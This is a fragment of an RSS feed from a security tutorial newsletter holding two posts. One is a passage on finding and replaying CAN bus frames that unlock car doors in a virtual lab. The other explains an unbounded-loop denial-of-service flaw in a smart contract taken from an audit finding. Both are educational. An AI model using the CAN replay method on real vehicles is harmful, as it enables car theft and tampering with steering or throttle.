src="https://storage.googleapis.com/papyrus_images/aa1283238f1b54443e3aba1c4c2fb064790d90409e25a3db540fcaa99297297b.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>Next, we find the data packets controlling the vehicle on the CAN network to attack him.</p><p>Listen to capture packets, then open and close all car doors.</p><p>More than 10,000 packages were caught.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/492bcccb267de4327868cf007361e620623bcfd05b7690939d63b796a69e83c6.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>Next, we use the dichotomy method to delete half at a time to find the package that closes the car door.</p><p>Finally, the package that opens all the doors is found by dichotomy:</p><p><code>(1668507963.222323) vcan0 19B#000000000000</code></p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/6b4d212d308e61739efff7312224b36f4dab3376e395dfd5898e7b3baf35dc99.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>Among them, 19B is the device identifier, look for 19B in the data packet.</p><p><code>grep 19B candump-2023-03-22_052559.log ``(1668507960.512530) vcan0 244#000000019B (1668507962.233563) vcan0 19B#00000F000000 (1668507963.222323) vcan0 19B#000000000000 (1668507963.517110) vcan0 244#000000019B (1668507964.208966) vcan0 19B#00000F000000 (1668507965.319056) vcan0 244#000000019B</code></p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/9c99c83460dd5a4731cb4d38462c63718f4f99f323a9c3871959f56b0d92100e.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>We can see one of them 19B#00000F000000. If we get to 19B#000000000000open all the doors, then we also perform the operation of closing all the doors later. It can be guessed 19B#00000F000000that all the doors are closed.</p><p>As can be seen above, this data packet is controlled by the third byte.</p><p><code>(1668507962.233563) vcan0 19B#00000F000000``(1668507963.222323) vcan0 19B#000000000000</code></p><p>The packet that locks all doors will represent the nibble as a hex F. Breaking this down into binary yields 16 possible combinations of gates.</p><p>binary hexadecimal</p><p>0000 0</p><p>0001 1</p><p>0010 2</p><p>0011 3</p><p>0100 4</p><p>0101 5</p><p>0110 6</p><p>0111 7</p><p>1000 8</p><p>1001 9</p><p>1010 a</p><p>1011 b</p><p>1100 c</p><p>1101 d</p><p>1110 e</p><p>1111 f</p><p>Try different car doors controlled by characters.</p><p>character car door</p><p>8 right rear door</p><p>4 left rear door</p><p>2 right front door</p><p>1 left front door</p><p>Suppose 1 is the action of locking the door and 0 is the action of unlocking the door. So when we identify our door, the identified door gets the command to lock it and the other doors get the command to unlock it. For example, the binary value of character 8 is 1000, so it means lock the door, open the door, open the door, open the door.</p><p>You can try to see if C has closed the two rear doors and opened the front two doors.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/91b1d8565152c8c9e849376f72e1e5322f91f77ab74db87f0bcbfa2c03f3026b.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>At this point, you can control the switch of each door. In the same way, steering and throttle are the same principles.</p><h2 id="h-references" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">References</h2><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://ieeexplore.ieee.org/document/9058628">https://ieeexplore.ieee.org/document/9058628</a></p></li></ul><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.sciencedirect.com/science/article/abs/pii/S0045790622003561">https://www.sciencedirect.com/science/article/abs/pii/S0045790622003561</a></p></li></ul><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.ncbi.nlm.nih.gov/pmc/articles/PMC9460802/">https://www.ncbi.nlm.nih.gov/pmc/articles/PMC9460802/</a></p></li></ul>]]></content:encoded>
            <author>tutorialboy@newsletter.paragraph.com (TutorialBoy)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/293e52d6694329abc5dc45933c4f5fce0bf42fc0106f7a04dad032602c9424b4.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[The Unbounded Loops Vulnerability : Denial of Service]]></title>
            <link>https://paragraph.com/@tutorialboy/the-unbounded-loops-vulnerability-denial-of-service</link>
            <guid>qtoqGEN9RD01xuxcsC1r</guid>
            <pubDate>Wed, 19 Apr 2023 08:25:49 GMT</pubDate>
            <description><![CDATA[Unbounded Loop Vulnerability:An unbounded loop vulnerability is a type of security flaw that can occur in smart contracts when a loop does not have a defined maximum iteration limit. This means that the loop can continue to run indefinitely, potentially consuming all of the gas allocated to the contract and rendering it unresponsive. For example, consider the following code:In this example, the infinite-loop function has a while loop with a condition of "true", which means it will run indefin...]]></description>
            <content:encoded><![CDATA[<h2 id="h-unbounded-loop-vulnerability" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Unbounded Loop Vulnerability:</h2><p>An unbounded loop vulnerability is a type of security flaw that can occur in smart contracts when a loop does not have a defined maximum iteration limit. This means that the loop can continue to run indefinitely, potentially consuming all of the gas allocated to the contract and rendering it unresponsive.</p><p>For example, consider the following code:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/a4f59adc6b7834973cac3b492544242305e877d8db827c90a37659bbd7cd939e.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>In this example, the infinite-loop function has a while loop with a condition of &quot;true&quot;, which means it will run indefinitely. In a smart contract, this can cause the contract to consume all of the gas allocated to it and become unresponsive. This could lead to funds being locked in the contract, or the contract being unable to process any further transactions.</p><p>Let’s understand more clearly with a relatable example here,</p><p>Imagine you set a timer to limit your break time while studying for an exam. But due to a malfunction, the timer runs indefinitely and you end up wasting hours watching videos instead of studying.</p><p>Anyways, this is an example of an unbounded loop vulnerability, where a lack of a maximum limit causes you to consume valuable resources, in this case, your time, and become unprepared for your exam. It is important to set limits and monitor them to avoid this kind of vulnerability.</p><h2 id="h-lets-dig-more-about-gas-limit" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Let’s dig more about gas limit:</h2><p>Gas Limit: In the Ethereum network, every time a smart contract is executed, it consumes a certain amount of computational resources, measured in gas. Gas limit is a mechanism that helps to prevent infinite loops and other unintended computations from consuming all of the network&apos;s resources. It sets a maximum limit on the amount of gas that can be used to execute a smart contract.</p><h2 id="h-how-gas-limit-helps-in-solving-the-halting-problem" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">How gas limit helps in solving the halting problem:</h2><p>When the amount of gas used by a contract exceeds the gas limit, the contract&apos;s execution is halted, and any changes made to the blockchain are rolled back. This ensures that no single contract can consume an excessive amount of resources and cause a halting problem.</p><p>Think of it like a fuel tank for a car, the gas limit is the maximum amount of fuel that can be used by the car, once the fuel runs out, the car stops running and so does the contract. This mechanism helps in keeping the network running smoothly and it prevents any infinite loops or unexpected computations that could cause problems in the network.</p><p>The code we are gonna look at :</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/af1943fbb7d29cfebd08a879641a6a4ed04ca6f20f6f9275e936d17d35c1afec.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><ul><li><p>The Project contract has an unbounded loop vulnerability.</p></li></ul><ul><li><p>The vulnerability is caused by the loop not having a maximum limit for the number of iterations.</p></li></ul><ul><li><p>If the length variable is set to a very large number, the loop could run indefinitely.</p></li></ul><ul><li><p>This can cause the contract to run out of gas, which would prevent it from completing its intended function.</p></li></ul><ul><li><p>This can lead to a loss of resources, such as gas, and a failure of the contract to function as intended. i.e. halted</p></li></ul><h2 id="h-attacker-scenario" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Attacker Scenario :</h2><ul><li><p>An attacker calls the &quot;addTasks&quot; function to add a large number of tasks to the contract.</p></li></ul><ul><li><p>The function does not have any restriction on the number of tasks that can be added, so the attacker can add a large number of tasks.</p></li></ul><ul><li><p>When the &quot;lendToProject&quot; function is called, it calls the &quot;projectCost&quot; function to calculate the total cost of the tasks.</p></li></ul><ul><li><p>The &quot;projectCost&quot; function iterates through all tasks to calculate the total cost, regardless of the number of tasks.</p></li></ul><ul><li><p>As the number of tasks added by the attacker is large, the iteration takes a lot of computational resources and gas.</p></li></ul><ul><li><p>As a result, the &quot;projectCost&quot; function exceeds the block gas limit, and the transaction is rolled back.</p></li></ul><ul><li><p>This can cause a denial-of-service (DoS) attack as the legitimate users will not be able to call the &quot;lendToProject&quot; function.</p></li></ul><ul><li><p>The attacker could also leverage this vulnerability to increase the cost of gas required to execute the contract, making it more expensive for other users to interact with it</p></li></ul><h2 id="h-conclusion" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Conclusion :</h2><p>In conclusion, unbounded loop vulnerabilities can have serious consequences for smart contracts, such as causing a denial of service attack or running out of gas. To prevent these issues, it is important for developers to ensure that any loops in their contracts have a defined maximum limit and to use more efficient algorithms where possible. Additionally, implementing a gas limit can act as a safety mechanism to prevent infinite loops and unintended computations from consuming all of the network&apos;s resources.</p><p>The mentioned code is a medium-risk finding from a <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://code4rena.com/">code4rena</a> audit</p><p>Here is more information and findings from  the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/code-423n4/2022-08-rigor-findings/issues/336">Rigor Contest 2022-08-rigour-findings</a></p>]]></content:encoded>
            <author>tutorialboy@newsletter.paragraph.com (TutorialBoy)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/4782fc51285e0a0f15cad960185a3ad7b660bee99080ba3deab4bb9a6abc1d1a.png" length="0" type="image/png"/>
        </item>
    </channel>
</rss>